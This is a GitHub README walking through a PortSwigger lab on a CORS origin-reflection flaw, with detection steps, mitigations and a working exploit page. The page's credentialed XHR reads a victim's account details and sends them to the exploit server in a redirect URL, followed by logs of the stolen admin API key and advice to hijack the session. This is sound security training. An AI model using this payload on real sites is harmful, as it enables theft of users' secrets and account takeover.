Skip to content

A concise technical walkthrough demonstrating exploitation and mitigation of a CORS vulnerability caused by basic origin reflection, including a reproducible PoC and prioritized remediation steps.

License

Notifications You must be signed in to change notification settings

AdityaBhatt3010/CORS-vulnerability-with-basic-origin-reflection

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

11 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

CORS Vulnerability with Basic Origin Reflection with Lab Walkthrough πŸ—ΏπŸ”

TL;DR: A misconfigured CORS policy reflects arbitrary Origin headers and returns Access-Control-Allow-Credentials: true. By hosting a simple credentialed XHR on the exploit server we can read /accountDetails from a victim’s browser and exfiltrate the administrator API key. βœ…

Cover


Intro

This article documents a focused, semi-formal proof-of-concept for the CORS vulnerability with basic origin reflection lab (PortSwigger). The goal: clear, reproducible steps showing detection, exploitation, and mitigation. 🧭✨


What is CORS & how to detect it (brief)

CORS (Cross-Origin Resource Sharing) is a browser-enforced mechanism that controls whether a web page from one origin may read responses from another origin. Detection is straightforward:

  • Inspect responses to sensitive endpoints (e.g., /accountDetails) and look for Access-Control-Allow-Origin and Access-Control-Allow-Credentials.
  • Replay the request in Burp Repeater adding a custom Origin: header. If the server echoes that origin in Access-Control-Allow-Origin and returns Access-Control-Allow-Credentials: true, the configuration is vulnerable to credentialed cross-origin data leaks.

Quick test checklist:

  1. Capture a request to the target sensitive endpoint.
  2. Replay in Repeater with a custom Origin: header.
  3. If the response reflects the origin and sets Allow-Credentials: true, proceed to PoC.

Lab PoC πŸ§ͺ

  1. Turn on Burp in FoxyProxy and visit the website.

1

Why: ensures all requests/responses are captured for inspection and replay.

  1. Login with wiener:peter.

2

Why: you need a valid authenticated session so credentialed cross-origin requests will be authenticated.

  1. Observe the account page and session cookie. Example shown:

    My Account
    Your username is: wiener
    Your API Key is: e7sYf1rF0Bx3yeLkoAvFbZ8mTYi8KV59
    

    Cookie Editor shows: Session: QGbWUXM9gQ4pWOD7kBhiS6IWPPocQlb9.

3

Why: confirms endpoint returns API key for authenticated users and a session cookie exists.

  1. Re-login and note session change. Example session after re-login: 1dZgM10rECyMTMsXCiSQ755ExPxojLEL.

4

Why: session tokens are per-login β€” these are what the browser will send with credentialed XHRs.

  1. Check HTTP history in Burp: /accountDetails responses include Access-Control-Allow-Credentials: true. Response body example:

    {
      "username": "wiener",
      "email": "",
      "apikey": "e7sYf1rF0Bx3yeLkoAvFbZ8mTYi8KV59",
      "sessions": ["QGbWUXM9g..."]
    }

5

Why: presence of Allow-Credentials: true is a key signal to test origin reflection.

  1. Forward a /accountDetails request to Repeater and send it.

6

Why: Repeater allows controlled testing (add headers, inspect responses) without browser interference.

  1. Add a header Origin: www.AdityaBhatt3010.com and resend. Response shows:

    Access-Control-Allow-Origin: www.AdityaBhatt3010.com
    Access-Control-Allow-Credentials: true
    

    with the same account JSON body.

7

Why: this proves the server reflects the Origin header and allows credentials β€” the unsafe combination.

  1. Click Go to Exploit Server and paste the exploit HTML into the exploit server body (use your lab host instead of the example host). Then hit Deliver to the Victim.
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>AdityaBhatt3010</title>
</head>
<body>
  <h1>AdityaBhatt3010</h1>

  <script>
    const request = new XMLHttpRequest();

    request.open("GET",
      "https://0a40007c04479b90804a0d6200190008.web-security-academy.net/accountDetails",
      true);

    request.onload = () => {
      // redirect to exploit-server path including the response body
      window.location.href = "/AdityaBhatt3010?key=" + encodeURIComponent(request.responseText);
    };

    // include cookies / credentials in the cross-origin request
    request.withCredentials = true;
    request.send();
  </script>
</body>
</html>

Code explanation (concise):

  • new XMLHttpRequest() β€” create XHR to perform cross-origin call.
  • open("GET", ".../accountDetails", true) β€” prepare async GET to the target endpoint.
  • withCredentials = true β€” instructs browser to include session cookies so the request is authenticated as the victim.
  • onload uses request.responseText and encodeURIComponent() to safely add the JSON response to an exploit-server URL; redirect causes the exploit server to log the data.
  • send() β€” issues the request.

8

  1. Open the exploit server Access Log. Example logs captured:

    .. ... "GET /exploit/ HTTP/1.1" 200 ...
    10.0.4.155  ... "GET /AdityaBhatt3010?key={%20%20%22username%22:%20%22administrator%22,...}" 404 ...
    

9

Why: shows the victim fetched the exploit and the browser redirected with the exfiltrated JSON in the query string.

  1. URL-decode the captured query string to reveal the JSON and admin apikey. Decoded snippet:

    "username": "administrator",
    "email": "",
    "apikey": "7CFTDS031hlyTbYKPas5CKxz4tLkHRGi",
    "sessions": ["nOkPeehZC45DLTNpKhKtS0ltbY2xQnDu"]

10

*Why:* confirms successful exfiltration of administrator credentials.
  1. Submit the recovered API key (7CFTDS031hlyTbYKPas5CKxz4tLkHRGi) to the lab solution page.

11

*Why:* completes the lab verification.
  1. Lab solved β€” confirmation appears in the lab UI. πŸ₯³

12

  1. Optional: paste the recovered admin session token into your cookie editor and access the admin page.

13

*Why:* demonstrates the impact β€” session takeover and privileged access from the exfiltrated session token.

Mitigation steps (brief) πŸ›‘οΈ

  1. Do not reflect arbitrary Origin headers. Validate the incoming Origin against a strict allowlist server-side.
  2. If credentials are required, set Access-Control-Allow-Credentials: true only alongside a single, validated Access-Control-Allow-Origin value β€” never *.
  3. Harden cookies: use HttpOnly, Secure, and SameSite=Lax/Strict as appropriate.
  4. Avoid returning secrets (API keys, session tokens) in responses that could be reachable cross-origin; require additional authentication for sensitive endpoints.
  5. Monitor & alert on dynamic origin reflections and suspicious reflection patterns.

Goodbye Note πŸ‘‹

Thanks for following the walkthrough. Patch the server-side logic, harden CORS handling and CORS misconfig as hostile; those three moves will stop this class of exploit cold. Stay curious, keep testing responsibly and follow for more. πŸ—Ώ


About

A concise technical walkthrough demonstrating exploitation and mitigation of a CORS vulnerability caused by basic origin reflection, including a reproducible PoC and prioritized remediation steps.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published